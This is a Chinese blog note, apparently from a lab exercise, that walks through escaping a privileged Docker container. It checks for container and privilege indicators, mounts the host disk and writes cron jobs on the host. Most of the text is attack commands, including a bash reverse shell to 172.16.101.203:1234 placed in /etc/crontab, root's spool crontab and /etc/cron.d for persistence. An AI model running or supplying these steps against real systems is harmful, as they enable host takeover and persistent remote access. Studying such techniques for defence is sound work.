docker特权容器逃逸,反弹,切换挂载返回null

笔记:

1、判断是否是docker环境

方法一:

查看根目录下是否存在.dockerenv文件 或者.docker文件夹(文件夹下存在config.json)

docker环境下:ls -alh /.dockerenv

非docker环境,没有.dockerenv文件

方法二:

ps -aux #docker环境下进程比较少

方法三:

ip addr #docker环境下查看ip

ipconfig/ifconfig #正常主机查看ip

 方法四:

cat /proc/1/cgroup 是否存在docker相关信息

docker环境:

 主机:

 2、查看当前容器是否是特权容器

cat /proc/1/status | grep Cap

 查询的值是0000000xffffffff,可以说明当前容器是特权容器。

3、fdisk -l 查看磁盘挂载情况,发现宿主机设备为/dev/sda1

 4、挂载

mkdir /mb

mount /dev/sda1 /mb

失败,且目前没找到原因 ,进入靶场容器内执行可成功,猜测是工具重定向问题,然而,哥斯拉,蚁剑,冰蝎皆不能切换成功,又猜测是不能重启一个终端,工具做不到交互的原因。决定曲线救国,

 写入计划命令,反弹至个人主机

echo '* * * * * /bin/bash -i >& /dev/tcp/172.16.101.203/1234 0>&1' >> /mb/etc/crontab

cat /mb/etc/crontab

 写入成功,然而未执行,,,,再换

本地上传shell.sh

 然后复制到/mb目录下

cp shell.sh /mb/
chmod +x /mb/shell.sh

执行

/bin/bash /mb/shell.sh

失败,依然是不能连接,

暂时不知道为什么,解决不掉,等找到原因再编辑吧

过了一天了,记录一下解决方案:

还是之前的计划命令:

路径为/var/spool/cron/crontabs/root,需要具体到用户:

(直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e命令,如果不能就给0600权限)

chmod 0600 /var/spool/cron/crontabs/root 给root用户增加可执行权限

echo '* * * * * /bin/bash /shell.sh' >>/mb/var/spool/cron/crontabs/root #之前一直写入的路径为/mb/shell.sh,忽略了主机内部执行时实际上并不需要我们挂载创建的文件夹/mb这个路径



补充说明:

/etc/cron.d与/etc/crontab文件夹下可以直接写计划任务,不需要特殊权限即可执行,但是一定要加上username字段。

举例:

echo  '* * * * * root /bin/bash /shell.sh'>> /mb/etc/cron.d/shell

补充一下:
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
 

参考文档:

linux计划任务踩坑_Shanfenglan7的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值